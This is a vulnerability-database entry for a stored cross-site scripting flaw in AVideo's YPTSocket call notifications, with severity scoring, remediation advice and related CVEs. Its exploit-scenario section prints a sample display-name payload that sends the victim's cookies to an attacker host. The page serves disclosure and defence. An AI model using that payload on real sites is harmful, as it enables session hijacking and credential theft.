Skip to main content

Avideo EUVDEUVD-2026-17646

| CVE-2026-34716 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-03-31 GitHub_M GHSA-w4hp-w536-jg64
6.4
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents moderate real-world risk despite the 6.4 CVSS score. The authentication requirement (PR:L in CVSS vector) limits the attack surface to registered users with account access, reducing opportunistic exploitation. However, several factors elevate concern: (1) the attack vector is unauthenticated to the victim (AV:N, no victim-side authentication bypass required), (2) attack complexity is low (AC:L-merely setting a display name and initiating a call), (3) no user interaction is required (UI:N-the victim only needs to be connected), (4) scope is changed (S:C-the XSS executes in a different security context than the application alone), enabling cross-origin attacks, (5) the impact includes confidentiality and integrity loss (C:L, I:L), enabling session hijacking or credential theft, and (6) no public patch exists, forcing organizations to apply mitigations or upgrade when patches release. SSVC decision framework places this in the 'scheduled' or 'out-of-cycle' patch category: exploitation is plausible given ease of use, the technical impact is medium (browser compromise), and automatable attacks are feasible. The absence of active KEV status suggests this has not yet been leveraged at scale in the wild, but the low barrier to entry and lack of patches should prompt proactive remediation in production environments.

Exploit ScenarioDerived

A malicious user creates a legitimate account on a target AVideo instance and sets their display name to a JavaScript payload such as '<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)">'. When this user initiates a call to any online victim (no victim interaction required beyond being logged in), the YPTSocket plugin renders the incoming call notification via jQuery Toast, which executes the embedded JavaScript in the victim's browser context. The attacker's script silently exfiltrates the victim's session cookie, authentication tokens, or performs actions on their behalf (e.g., uploading malicious content, modifying settings). With low attack complexity and no victim awareness, a single malicious user can compromise multiple concurrent users in minutes.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAI

Stored cross-site scripting (XSS) in WWBN AVideo versions 26.0 and prior allows authenticated attackers to execute arbitrary JavaScript in the browsers of online users without any victim interaction. An attacker with a user account can set their display name to an XSS payload; when they initiate a call via the YPTSocket plugin, the caller notification rendered by the jQuery Toast Plugin executes the malicious script in every connected user's browser, enabling session hijacking, credential theft, or further compromise. CVSS 6.4 reflects moderate complexity due to authentication requirement and limited direct impact scope.

RemediationAI

At the time of this analysis, no vendor-released patch is available per the official GitHub Security Advisory (https://github.com/WWBN/AVideo/security/advisories/GHSA-w4hp-w536-jg64). Users should implement immediate mitigations: (1) Implement Content Security Policy (CSP) headers with 'script-src' restricting inline and eval execution to prevent XSS payload execution, though this does not address the root cause; (2) Disable or restrict the YPTSocket plugin/caller feature if not essential; (3) Enforce strict input validation on display name fields server-side, sanitizing all HTML special characters (< > & ' ") before storage and rendering; (4) Apply HTML entity encoding to the display name output before inserting into the DOM, replacing the unsafe .html() call with .text() or proper escaping libraries. Monitor the GitHub Security Advisory for patched version announcements and upgrade immediately upon availability. Contact WWBN support for guidance on patch timelines.

Affected VersionsENISA

AVideo ≤ 26.0

Affected Packages

composer wwbn/avideo no fix
euvd avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

WWBN AVideo's YPTSocket plugin implements real-time call notifications using the jQuery Toast Plugin library. The vulnerability stems from unsafe DOM manipulation in the notification rendering logic: the plugin passes the caller's display name directly to the toast heading parameter without sanitization, and the jQuery Toast Plugin constructs the heading using string concatenation ('<h2>' + heading + '</h2>') before inserting it via jQuery's .html() method. The .html() method parses and executes embedded HTML and JavaScript, bypassing Content Security Policy protections if not configured. This is a classic example of CWE-79 (Improper Neutralization of Input During Web Page Generation) where user-controlled data enters an unsafe rendering pipeline. The attack requires WebSocket connectivity, meaning the victim must be actively logged into the AVideo platform and the attacker must have a valid user account to establish call signaling.

Know when Avideo gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionNVD

WWBN AVideo is an open source video platform. In versions 26.0 and prior, the AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket. At time of publication, there are no publicly available patches.

Threat Intelligence Overview

EPSS Score
0.0%
Top 87% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Avideo

View all
CVE-2023-48728 CRITICAL POC
9.6 Jan 10

A cross-site scripting (xss) vulnerability exists in the functiongetOpenGraph videoName functionality of WWBN AVideo 11.

CVE-2024-31819 CRITICAL POC
9.8 Apr 10

An issue in WWBN AVideo v.12.4 through v.14.2 allows a remote attacker to execute arbitrary code via the systemRootPath

CVE-2022-30547 CRITICAL POC
9.9 Aug 22

A directory traversal vulnerability exists in the unzipDirectory functionality of WWBN AVideo 11.6 and dev master commit

CVE-2023-49599 CRITICAL POC
9.8 Jan 10

An insufficient entropy vulnerability exists in the salt generation functionality of WWBN AVideo dev master commit 15fed

CVE-2026-28501 CRITICAL POC
9.8 Mar 06

Unauthenticated SQL injection in AVideo before 24.0.

CVE-2023-25313 CRITICAL POC
9.8 Apr 25

OS injection vulnerability in World Wide Broadcast Network AVideo version before 12.4, allows attackers to execute arbit

CVE-2022-26842 CRITICAL POC
9.6 Aug 22

A reflected cross-site scripting (xss) vulnerability exists in the charts tab selection functionality of WWBN AVideo 11.

CVE-2023-47861 CRITICAL POC
9.0 Jan 10

A cross-site scripting (xss) vulnerability exists in the channelBody.php user name functionality of WWBN AVideo 11.6 and

CVE-2022-28712 CRITICAL POC
9.0 Aug 22

A cross-site scripting (xss) vulnerability exists in the videoAddNew functionality of WWBN AVideo 11.6 and dev master co

CVE-2023-49589 HIGH POC
8.8 Jan 10

An insufficient entropy vulnerability exists in the userRecoverPass.php recoverPass generation functionality of WWBN AVi

CVE-2023-32073 HIGH POC
8.8 May 12

WWBN AVideo is an open source video platform. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable

CVE-2023-30854 HIGH POC
8.8 Apr 28

AVideo is an open source video platform. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, low

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy